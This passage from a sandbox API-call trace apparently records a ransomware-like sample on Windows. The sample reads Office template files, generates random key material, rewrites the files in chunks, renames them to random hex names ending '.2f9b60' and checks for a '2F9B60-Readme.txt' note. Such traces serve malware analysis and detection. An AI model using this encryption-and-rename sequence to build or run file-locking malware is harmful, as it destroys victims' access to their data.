(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bc10 [0140.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb50 [0140.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bb50) returned 1 [0140.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0140.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0140.006] WriteFile (hFile=0x1b84, lpBuffer=0x42199960, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39a0fd40, lpOverlapped=0x0) [0180.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42199960) returned 1 [0180.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4218a920) returned 1 [0180.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f0f0 [0180.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0180.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0180.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9350 [0180.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9350) returned 1 [0180.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fe30 [0180.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9350 [0180.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9260 [0180.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9260) returned 1 [0180.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0180.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0180.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x423ab610 [0180.164] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.164] WriteFile (in: hFile=0x1b84, lpBuffer=0x423ab610*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x39a0fdf0, lpOverlapped=0x0 | out: lpBuffer=0x423ab610*, lpNumberOfBytesWritten=0x39a0fdf0*=0x10e, lpOverlapped=0x0) returned 1 [0203.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0203.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0203.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265790 [0203.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265790) returned 1 [0203.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20265790 [0203.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264380 [0203.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264500 [0203.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264500) returned 1 [0203.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0203.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0203.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1b82bd60 [0203.445] sprintf (in: _Dest=0x1b82bd60, _Format="%c%c" | out: _Dest="79") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd62, _Format="%c%c" | out: _Dest="1a") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd64, _Format="%c%c" | out: _Dest="66") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd66, _Format="%c%c" | out: _Dest="26") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd68, _Format="%c%c" | out: _Dest="8a") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd6a, _Format="%c%c" | out: _Dest="75") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd6c, _Format="%c%c" | out: _Dest="bb") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd6e, _Format="%c%c" | out: _Dest="9a") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd70, _Format="%c%c" | out: _Dest="a2") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd72, _Format="%c%c" | out: _Dest="09") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd74, _Format="%c%c" | out: _Dest="b0") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd76, _Format="%c%c" | out: _Dest="a5") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd78, _Format="%c%c" | out: _Dest="e5") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd7a, _Format="%c%c" | out: _Dest="59") returned 2 [0203.445] sprintf (in: _Dest=0x1b82bd7c, _Format="%c%c" | out: _Dest="4f") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd7e, _Format="%c%c" | out: _Dest="1d") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd80, _Format="%c%c" | out: _Dest="fd") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd82, _Format="%c%c" | out: _Dest="1b") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd84, _Format="%c%c" | out: _Dest="7f") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd86, _Format="%c%c" | out: _Dest="8c") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd88, _Format="%c%c" | out: _Dest="a1") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd8a, _Format="%c%c" | out: _Dest="b1") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd8c, _Format="%c%c" | out: _Dest="1c") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd8e, _Format="%c%c" | out: _Dest="c8") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd90, _Format="%c%c" | out: _Dest="9d") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd92, _Format="%c%c" | out: _Dest="62") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd94, _Format="%c%c" | out: _Dest="5c") returned 2 [0203.446] sprintf (in: _Dest=0x1b82bd96, _Format="%c%c" | out: _Dest="c8") returned 2 [0203.446] RtlInitAnsiString (in: DestinationString=0x39a0fe68, SourceString="791a66268a75bb9aa209b0a5e5594f1dfd1b7f8ca1b11cc89d625cc8" | out: DestinationString="791a66268a75bb9aa209b0a5e5594f1dfd1b7f8ca1b11cc89d625cc8") [0203.446] RtlAnsiStringToUnicodeString (in: DestinationString=0x39a0fe38, SourceString="791a66268a75bb9aa209b0a5e5594f1dfd1b7f8ca1b11cc89d625cc8", AllocateDestinationString=1 | out: DestinationString="791a66268a75bb9aa209b0a5e5594f1dfd1b7f8ca1b11cc89d625cc8") returned 0x0 [0203.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869ac0 [0203.447] wcscat (in: _Dest=0x431f4400, _Source="791a66268a75bb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\791a66268a75bb") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\791a66268a75bb" [0203.447] wcscat (in: _Dest=0x431f4400, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\791a66268a75bb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\791a66268a75bb.2f9b60" [0203.447] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\791a66268a75bb.2f9b60", NtPathName=0x39a0fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\791a66268a75bb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310b9d0 [0237.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b9d0) returned 1 [0237.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43221250) returned 1 [0237.804] NtQueryInformationFile (in: FileHandle=0x1b84, IoStatusBlock=0x39a0fe78, FileInformation=0x39a0fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39a0fe78, FileInformation=0x39a0fe88) returned 0x0 [0237.804] NtSetInformationFile (FileHandle=0x1b84, IoStatusBlock=0x39a0fe78, FileInformation=0x39a0fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0239.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4400) returned 1 [0239.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0239.897] FlushFileBuffers (hFile=0x1b84) returned 1 [0240.097] CloseHandle (hObject=0x1b84) returned 1 [0242.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce11290 [0242.747] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0242.747] wcscat (in: _Dest=0x1ce11290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0242.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0242.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 [0242.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1c30) returned 1 Thread: id = 2143 os_tid = 0x1500 [0139.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt")) returned 0x20 [0139.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt", dwFileAttributes=0x20) returned 1 [0139.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b70 [0139.852] GetFileSizeEx (in: hFile=0x1b70, lpFileSize=0x39cffc60 | out: lpFileSize=0x39cffc60*=312388) returned 1 [0139.853] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x4c440, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.853] ReadFile (in: hFile=0x1b70, lpBuffer=0x39cffbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39cffc28, lpOverlapped=0x0 | out: lpBuffer=0x39cffbe0*, lpNumberOfBytesRead=0x39cffc28*=0x4, lpOverlapped=0x0) returned 1 [0139.855] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b850 [0139.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b8b0 [0139.856] NtQuerySystemTime (in: CurrentTime=0x39cffb20 | out: CurrentTime=0x39cffb20*=132462177451030000) returned 0x0 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x79815181 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x3589db76 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x73045ff6 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0xac28253 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x2c5bc204 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x51f326c [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x1351f065 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x71f7650b [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x581aba8a [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x6841e915 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x6bc808a5 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x48b93e14 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x19dc471f [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x6375f10f [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x70afa80f [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x618c5b75 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x36ac4e3 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x52406b58 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x507560ca [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x34723ca8 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x7c6b434e [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x5072d5cc [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x7d17e708 [0139.856] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x23563b8 [0139.857] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x2904df52 [0139.857] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x4032ee06 [0139.857] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x5eceecd [0139.857] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x4a70423a [0139.857] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x1e50b815 [0139.857] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x77abc889 [0139.857] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x432f76b [0139.857] RtlRandomEx (in: Seed=0x39cffb10 | out: Seed=0x39cffb10) returned 0x1c71331 [0139.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b8e0 [0139.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b910 [0139.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b8b0) returned 1 [0139.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42173dd0 [0139.865] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.865] ReadFile (in: hFile=0x1b70, lpBuffer=0x42173dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39cffb80, lpOverlapped=0x0 | out: lpBuffer=0x42173dd0*, lpNumberOfBytesRead=0x39cffb80*=0x3c00, lpOverlapped=0x0) returned 1 [0139.868] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421779e0 [0139.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b8b0 [0139.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b8b0) returned 1 [0139.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.870] WriteFile (hFile=0x1b70, lpBuffer=0x421779e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39cffb80, lpOverlapped=0x0) [0176.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421779e0) returned 1 [0176.628] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.628] ReadFile (in: hFile=0x1b70, lpBuffer=0x42173dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39cffb80, lpOverlapped=0x0 | out: lpBuffer=0x42173dd0*, lpNumberOfBytesRead=0x39cffb80*=0x3c00, lpOverlapped=0x0) returned 1 [0176.659] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0176.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0176.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7ac0 [0176.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7ac0) returned 1 [0176.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c4d60 [0176.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7ac0 [0176.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a90 [0176.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a90) returned 1 [0176.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.663] WriteFile (in: hFile=0x1b70, lpBuffer=0x423c4d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39cffb80, lpOverlapped=0x0 | out: lpBuffer=0x423c4d60*, lpNumberOfBytesWritten=0x39cffb80*=0x3c00, lpOverlapped=0x0) returned 1 [0186.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c4d60) returned 1 [0186.487] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x48844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.487] ReadFile (in: hFile=0x1b70, lpBuffer=0x42173dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39cffb80, lpOverlapped=0x0 | out: lpBuffer=0x42173dd0*, lpNumberOfBytesRead=0x39cffb80*=0x3c00, lpOverlapped=0x0) returned 1 [0186.769] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x48844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058970 [0186.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0186.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecad00 [0186.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecad00) returned 1 [0186.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429d3630 [0186.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecad00 [0186.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecad30 [0186.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecad30) returned 1 [0186.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0186.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0186.773] WriteFile (in: hFile=0x1b70, lpBuffer=0x429d3630*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39cffb80, lpOverlapped=0x0 | out: lpBuffer=0x429d3630*, lpNumberOfBytesWritten=0x39cffb80*=0x3c00, lpOverlapped=0x0) returned 1 [0204.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429d3630) returned 1 [0204.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce154c0 [0204.736] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.736] WriteFile (in: hFile=0x1b70, lpBuffer=0x431f5640*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x39cffc30, lpOverlapped=0x0 | out: lpBuffer=0x431f5640*, lpNumberOfBytesWritten=0x39cffc30*=0x14e, lpOverlapped=0x0) returned 1 [0215.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058e70 [0215.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbb60 [0215.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ce0 [0215.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ce0) returned 1 [0215.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1ced7ce0 [0215.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced88b0 [0215.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0215.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0215.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbb60) returned 1 [0215.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e70) returned 1 [0215.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x42058e70 [0215.762] sprintf (in: _Dest=0x42058e70, _Format="%c%c" | out: _Dest="38") returned 2 [0215.762] sprintf (in: _Dest=0x42058e72, _Format="%c%c" | out: _Dest="e3") returned 2 [0215.762] sprintf (in: _Dest=0x42058e74, _Format="%c%c" | out: _Dest="d2") returned 2 [0215.762] sprintf (in: _Dest=0x42058e76, _Format="%c%c" | out: _Dest="30") returned 2 [0215.762] sprintf (in: _Dest=0x42058e78, _Format="%c%c" | out: _Dest="5a") returned 2 [0215.762] sprintf (in: _Dest=0x42058e7a, _Format="%c%c" | out: _Dest="8f") returned 2 [0215.762] sprintf (in: _Dest=0x42058e7c, _Format="%c%c" | out: _Dest="78") returned 2 [0215.762] sprintf (in: _Dest=0x42058e7e, _Format="%c%c" | out: _Dest="14") returned 2 [0215.762] sprintf (in: _Dest=0x42058e80, _Format="%c%c" | out: _Dest="42") returned 2 [0215.762] sprintf (in: _Dest=0x42058e82, _Format="%c%c" | out: _Dest="e9") returned 2 [0215.762] sprintf (in: _Dest=0x42058e84, _Format="%c%c" | out: _Dest="0f") returned 2 [0215.762] sprintf (in: _Dest=0x42058e86, _Format="%c%c" | out: _Dest="d4") returned 2 [0215.762] sprintf (in: _Dest=0x42058e88, _Format="%c%c" | out: _Dest="d6") returned 2 [0215.763] sprintf (in: _Dest=0x42058e8a, _Format="%c%c" | out: _Dest="2d") returned 2 [0215.763] sprintf (in: _Dest=0x42058e8c, _Format="%c%c" | out: _Dest="64") returned 2 [0215.763] sprintf (in: _Dest=0x42058e8e, _Format="%c%c" | out: _Dest="7f") returned 2 [0215.763] sprintf (in: _Dest=0x42058e90, _Format="%c%c" | out: _Dest="a3") returned 2 [0215.763] sprintf (in: _Dest=0x42058e92, _Format="%c%c" | out: _Dest="7d") returned 2 [0215.763] sprintf (in: _Dest=0x42058e94, _Format="%c%c" | out: _Dest="d6") returned 2 [0215.763] sprintf (in: _Dest=0x42058e96, _Format="%c%c" | out: _Dest="30") returned 2 [0215.763] sprintf (in: _Dest=0x42058e98, _Format="%c%c" | out: _Dest="9b") returned 2 [0215.763] sprintf (in: _Dest=0x42058e9a, _Format="%c%c" | out: _Dest="f3") returned 2 [0215.763] sprintf (in: _Dest=0x42058e9c, _Format="%c%c" | out: _Dest="4b") returned 2 [0215.763] sprintf (in: _Dest=0x42058e9e, _Format="%c%c" | out: _Dest="f6") returned 2 [0215.763] sprintf (in: _Dest=0x42058ea0, _Format="%c%c" | out: _Dest="a3") returned 2 [0215.763] sprintf (in: _Dest=0x42058ea2, _Format="%c%c" | out: _Dest="01") returned 2 [0215.763] sprintf (in: _Dest=0x42058ea4, _Format="%c%c" | out: _Dest="3f") returned 2 [0215.763] sprintf (in: _Dest=0x42058ea6, _Format="%c%c" | out: _Dest="e9") returned 2 [0215.763] RtlInitAnsiString (in: DestinationString=0x39cffca8, SourceString="38e3d2305a8f781442e90fd4d62d647fa37dd6309bf34bf6a3013fe9" | out: DestinationString="38e3d2305a8f781442e90fd4d62d647fa37dd6309bf34bf6a3013fe9") [0215.763] RtlAnsiStringToUnicodeString (in: DestinationString=0x39cffc78, SourceString="38e3d2305a8f781442e90fd4d62d647fa37dd6309bf34bf6a3013fe9", AllocateDestinationString=1 | out: DestinationString="38e3d2305a8f781442e90fd4d62d647fa37dd6309bf34bf6a3013fe9") returned 0x0 [0215.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cebba60 [0215.764] wcscat (in: _Dest=0x1ce16ea0, _Source="38e3d2305a8f78" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\38e3d2305a8f78") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\38e3d2305a8f78" [0215.764] wcscat (in: _Dest=0x1ce16ea0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\38e3d2305a8f78.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\38e3d2305a8f78.2f9b60" [0215.764] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft 